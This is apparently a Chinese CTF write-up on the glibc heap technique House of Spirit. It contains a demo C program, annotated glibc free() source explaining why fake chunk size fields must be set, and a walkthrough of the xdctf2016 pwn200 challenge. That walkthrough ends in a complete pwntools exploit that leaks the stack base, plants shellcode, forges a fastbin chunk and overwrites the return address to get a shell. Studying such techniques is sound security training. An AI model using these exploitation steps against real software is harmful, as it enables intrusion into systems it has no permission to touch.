HouseofSprit 原理调试验证与实践

由于在一个群无意抢了一个运气王红包，必须得发文章到i春秋论坛，所以水了这篇

原理与调试验证

House of Spirit和其他的堆的利用手段有所不同。它是将存在的指针改写指向我们伪造的块（这个块可以位于堆、栈、bss任何一个位置）并且free掉欺骗glibc达到把伪造块回收到bins中不过在free之前，需要设置当前伪造块和下一个伪造块的size字段，满足free()的安全检测机制，从而欺骗glibc。
下面是heap exploitation 中的demo小程序先感性的体会下：

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#include<stdio.h>
#include<stdlib.h>
struct fast_chunk
{
size_t pre_size;
size_t size;
struct fast_chunk *fd;
struct fast_chunk *bk;
char buf[0x20];
};

int main(void)
{
struct fast_chunk fake_chunks[2];
void *ptr,*victim;
ptr=malloc(0x30);
fake_chunks[0].size=sizeof(struct fast_chunk);
fake_chunks[1].size=sizeof(struct fast_chunk);
ptr=(void *)&fake_chunks[0].fd;
free(ptr);
victim=malloc(0x30);
}

调试验证

申请两块fake_chunk。

所以:

&fake_chunks[0]=0x7fffffffdda0
&fake_chunks[1]=0x7fffffffdde0

为绕过安全监测机制，设置好当前块和下一块的size字段

改写一个指针指向伪造的块

因为是fd的地址，所以是：0x7fffffffddb0

free之后,伪造的块已经加入到了fastbin的链表中去了


此时再申请和伪造的块大小一样的块

返回了和之前free的伪造块一样的块。
至于地址为什么是&fake_chunks[0]+0x10是因为返回的可用memory就是位于pre_size和size字段之后。这个和chunk的结构有关

为什么当前构造块和下一个构造块要填充size字段？

分析下free的源码就知道了：

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void 
public_fRE(Void_t* mem)
{
    mstate ar_ptr;
    mchunkptr p; // mem相应的chunk
    ...
    p = mem2chunk(mem);    //将 mem转换为chunk地址
    if (chunk_is_mmapped(p))   //检查chunk的mmp位
    {
        munmap_chunk(p);       //用unmmap的方式直接取消映射
        return;
    }
    ...
    ar_ptr = arena_for_chunk(p);  //找到chunk对应的area
    ...
    _int_free(ar_ptr, mem);       //调用init_free（）函数进入正常的free块并检测以及回收的流程
}

为了让伪造的块进入到正常的free流程，所以要使得构造的当前chunk的size字段的mmp对应位是0就行了。

接下来是_init_free函数：

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void _int_free(mstate av, Void_t* mem)
{
    mchunkptr p; // mem相应的chunk
    INTERNAL_SIZE_T size; //size，大小
    mfastbinptr* fb; //联系fast bin
    ...
    p = mem2chunk(mem);   //memory转换为chunk
    size = chunksize(p);   //获得chunksize
    ...
    if ((unsigned long)(size) <= (unsigned long)(av->max_fast))    //当前chunk的size字段的比较，不能超过fastbin的最大值
    {
        if (chunk_at_offset(p, size)->size <= 2 * SIZE_SZ
            || __builtin_expect(chunksize(chunk_at_offset(p, size))
                                            >= av->system_mem, 0))            //比较下一个chunk的size字段，2*SIZE_ZE<chunksize<av->system_mem

        {
            errstr = "free(): invalid next size (fast)";
            goto errout;
        }
        ...
        fb = &(av->fastbins[fastbin_index(size)]);
        ...
        p->fd = *fb;
        *fb = p;
    }
}

所以要设置好下个chunk的size字段。

原理懂了就找题练练手吧

实践

在网上找题练，找来找去，发现有篇一个比赛的wp说xdctf2016的时候，师傅们就出了这样的类似一道题，所以找Klaus师傅要了程序副本，调了下这题
pwn200：
虽然存在非预期的解法，这里不管，只是为了学习HouseOfSpirit。

先分析流程：

看看保护措施：
[upl-image-preview url=//bbs.xdsec.org/assets/files/2018-08-02/1533203221-307788-tim20180802174640.png]

存在offbyone，只要完整的输入48个字节，就会泄露出ebp的值,结合保护措施，因此是可以使用shellcode的，至于怎么触发shellcode，肯定需要使程序控制流跳转到shellcode，这道题要么覆盖返回地址，要么修改free的got表。修改返回地址也有两种方式，一是直接栈溢出覆盖（这里肯定不行，输入长度有限制），二是通过Hos修改。这里只为学习Hos的利用，其他方法的请自行google学习
执行测试就知道：

划线的就是泄露的ebp的值。

输入id的值。
然后进入：

申请了一个块，然后先通过buff获得输入，然后再通过strcpy复制到申请的块当中，并将块的地址赋值到全局变量的指针ptr中去，并且这个ptr是可以被覆盖重写的。

然后进入：

这个函数的内容和经典的菜单题没什么区别。

checkout函数是把块给free掉

checkin则是申请块，并填充块的内容：
[upl-image-preview url=//bbs.xdsec.org/assets/files/2018-08-02/1533203388-23135-tim20180802174931.png]
仔细调试分析可以发现,在提示输入who are u？的函数里边，id是我们可以控制的，然后进入了函数400A29
然后分配了money局部变量，也是我们可控的，stack的图大致如下

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=============stack===================low

          money
          ...
          返回地址
          ...
          id
=====================================high

money和id都是可控的。就返回地址不可控，再结和文章开始houseofspirit的使用条件是两个可控的chunk。
那其实这道题是HouseOfSpirit,已经很明显了。

解题思路

  • 从程序流程开始，先在栈中布置shellcode，并泄露出ebp的值，从而计算出shellcode在栈中的地址。

  • 输入id作为下一个chunk的size字段的id的值

  • 将局部分量money伪造成一个chunk,构造好大小并且使得大小把返回地址包括在内，把ptr的值溢出覆盖为构造的chunk的地址，这个地址可以通过泄露的ebp计算出来

  • free掉伪造的chunk

  • 重新申请大小和伪造的chunk一致的块，使得系统将伪造的chunk分配给我们

  • 申请回来之后，返回地址就是我们可控的了，再将shellcode的地址写入返回地址处，控制程序返回就可以getshell

栈中布置图

在本地调试时，获得了关键的变量的地址，然后自己拼了这个图（当时stack的布局）：

调试关键：
0x400ac7处打断点，查看泄露ebp以及shellcode布置相关
0x400b26处打断点，查看id在栈中的位置
0x400a5f处打断点，伪造chunk

exp及源文件:

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from pwn import *
context.log_level="debug"
context.arch="amd64"
context.os="linux"
context.endian="little"
log.info( "====start====")
p=process("./pwn200")
p.recvuntil("?\n")
shellcode=asm(shellcraft.amd64.linux.sh())
payload1=shellcode+(48-len(shellcode))*"a"
#payload1="a"*48
log.info("====leaking the ebp===")
p.send(payload1)
p.recvuntil(payload1)
ebp=u64(p.recv(6)+'\0\0')
shellcode_addr=ebp-0x50
mem_addr=ebp-0x90
print "shellcode_addr:"+hex(shellcode_addr)
print "mem_addr:"+hex(mem_addr)
log.info("====construct the fake chunk====")
p.recvuntil("?\n")
next_chunk_size=0x20
p.send(str(next_chunk_size)+'\n')
padding=p64(0)*4
chunk_presize=p64(0x1)
chunk_size=p64(0x41)
ptr=p64(mem_addr)
payload=padding+chunk_presize+chunk_size+p64(0)+ptr
p.recvuntil("~\n")
p.send(payload+(0x40-len(payload))*"\0")
p.recvuntil(": ")
p.send("2\n")
p.recvuntil(": ")
p.send("1\n")
p.recvuntil("long?\n")
p.send("48\n")
p.recvuntil("money : ")
log.info("write the ret address to shellcode")
payload2="1"*0x18+p64(shellcode_addr)
p.send(payload2)
log.info("===get the shell===")
p.recvuntil(": ")
p.send("3\n")
p.interactive()